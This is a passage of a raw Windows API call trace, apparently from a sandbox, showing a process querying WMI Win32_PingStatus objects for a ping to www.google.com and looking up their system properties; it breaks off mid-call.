[0136.988] SysStringByteLen (bstr="Not found ") returned 0x14 [0136.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0136.989] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0136.989] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0136.990] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0136.990] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.990] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0136.990] SafeArrayGetDim (psa=0x5074e0) returned 0x1 [0136.990] SafeArrayGetDim (psa=0x5074e0) returned 0x1 [0136.990] SafeArrayGetLBound (in: psa=0x5074e0, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0136.990] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.990] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.990] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.990] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.990] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.990] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.990] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.990] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.990] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.990] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.990] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.990] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.991] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.991] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.991] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.991] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.991] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.991] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.991] SysStringByteLen (bstr="__PATH") returned 0xc [0136.991] SysStringByteLen (bstr="__PATH") returned 0xc [0136.991] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e4c0*=0, plFlavor=0x242e4c4*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242e4c0*=3, plFlavor=0x242e4c4*=64) returned 0x0 [0136.991] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e500*=0, plFlavor=0x242e504*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242e500*=8, plFlavor=0x242e504*=64) returned 0x0 [0136.991] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.992] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.992] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e558*=0, plFlavor=0x242e55c*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e558*=8, plFlavor=0x242e55c*=64) returned 0x0 [0136.992] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e580*=0, plFlavor=0x242e584*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242e580*=8, plFlavor=0x242e584*=64) returned 0x0 [0136.992] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.992] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.992] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e5d8*=0, plFlavor=0x242e5dc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242e5d8*=8, plFlavor=0x242e5dc*=64) returned 0x0 [0136.992] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.992] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.992] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e7b4*=0, plFlavor=0x242e7b8*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242e7b4*=3, plFlavor=0x242e7b8*=64) returned 0x0 [0136.992] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e7e8*=0, plFlavor=0x242e7ec*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afc0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242e7e8*=8200, plFlavor=0x242e7ec*=64) returned 0x0 [0136.993] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e81c*=0, plFlavor=0x242e820*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242e81c*=8, plFlavor=0x242e820*=64) returned 0x0 [0136.993] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.993] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.993] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e868*=0, plFlavor=0x242e86c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242e868*=8, plFlavor=0x242e86c*=64) returned 0x0 [0136.993] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.993] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.993] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e8b4*=0, plFlavor=0x242e8b8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242e8b4*=8, plFlavor=0x242e8b8*=64) returned 0x0 [0136.993] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.993] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0136.993] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0136.993] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.993] IWbemClassObject:Get (in: This=0x4f387a8, wszName="WriteVerboseStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242eaec*=0, plFlavor=0x242eaf0*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242eaec*=0, plFlavor=0x242eaf0*=0) returned 0x80041002 [0136.994] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0136.998] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4afc0) returned 0x0 [0136.998] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0136.998] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4afc0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b110) returned 0x0 [0136.998] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x0 [0136.998] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b110, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b110) returned 0x0 [0136.998] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b110, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0136.999] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b110) returned 0x3 [0136.999] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b110, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0136.999] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b110, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0136.999] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b110, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0136.999] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0136.999] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0136.999] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b110, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0136.999] WbemStatusCodeText:IUnknown:Release (This=0x4f4b110) returned 0x2 [0136.999] WbemStatusCodeText:IUnknown:Release (This=0x4f4b110) returned 0x1 [0136.999] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0136.999] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0136.999] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b110, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b110) returned 0x0 [0136.999] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b110) returned 0x3 [0136.999] WbemStatusCodeText:IUnknown:Release (This=0x4f4b110) returned 0x2 [0136.999] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b110, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0136.999] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.001] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0137.001] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0137.001] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.001] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0137.001] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0137.001] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.001] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0137.001] SafeArrayGetDim (psa=0x507480) returned 0x1 [0137.001] SafeArrayGetDim (psa=0x507480) returned 0x1 [0137.001] SafeArrayGetLBound (in: psa=0x507480, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0137.001] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.001] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.001] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.001] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.001] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.001] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.001] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.002] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.002] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.002] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.002] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.002] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.002] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.002] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.002] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.002] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.002] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.002] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.002] SysStringByteLen (bstr="__PATH") returned 0xc [0137.002] SysStringByteLen (bstr="__PATH") returned 0xc [0137.002] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242eecc*=0, plFlavor=0x242eed0*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242eecc*=3, plFlavor=0x242eed0*=64) returned 0x0 [0137.002] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242ef00*=0, plFlavor=0x242ef04*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242ef00*=8, plFlavor=0x242ef04*=64) returned 0x0 [0137.003] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.003] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.003] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242ef58*=0, plFlavor=0x242ef5c*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242ef58*=8, plFlavor=0x242ef5c*=64) returned 0x0 [0137.003] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242ef80*=0, plFlavor=0x242ef84*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242ef80*=8, plFlavor=0x242ef84*=64) returned 0x0 [0137.003] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.003] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.003] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242efd8*=0, plFlavor=0x242efdc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242efd8*=8, plFlavor=0x242efdc*=64) returned 0x0 [0137.003] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0137.003] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0137.003] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f1b4*=0, plFlavor=0x242f1b8*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242f1b4*=3, plFlavor=0x242f1b8*=64) returned 0x0 [0137.004] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f1e8*=0, plFlavor=0x242f1ec*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5073f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afc0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242f1e8*=8200, plFlavor=0x242f1ec*=64) returned 0x0 [0137.004] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f21c*=0, plFlavor=0x242f220*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242f21c*=8, plFlavor=0x242f220*=64) returned 0x0 [0137.004] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.004] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.004] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f268*=0, plFlavor=0x242f26c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242f268*=8, plFlavor=0x242f26c*=64) returned 0x0 [0137.004] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.004] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.004] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f2b4*=0, plFlavor=0x242f2b8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242f2b4*=8, plFlavor=0x242f2b8*=64) returned 0x0 [0137.004] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0137.004] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0137.004] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0137.004] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0137.005] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.005] IWbemClassObject:Get (in: This=0x4f387a8, wszName="WriteDebugStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f4ec*=0, plFlavor=0x242f4f0*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f4ec*=0, plFlavor=0x242f4f0*=0) returned 0x80041002 [0137.005] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0137.006] CoGetClassObject (in: 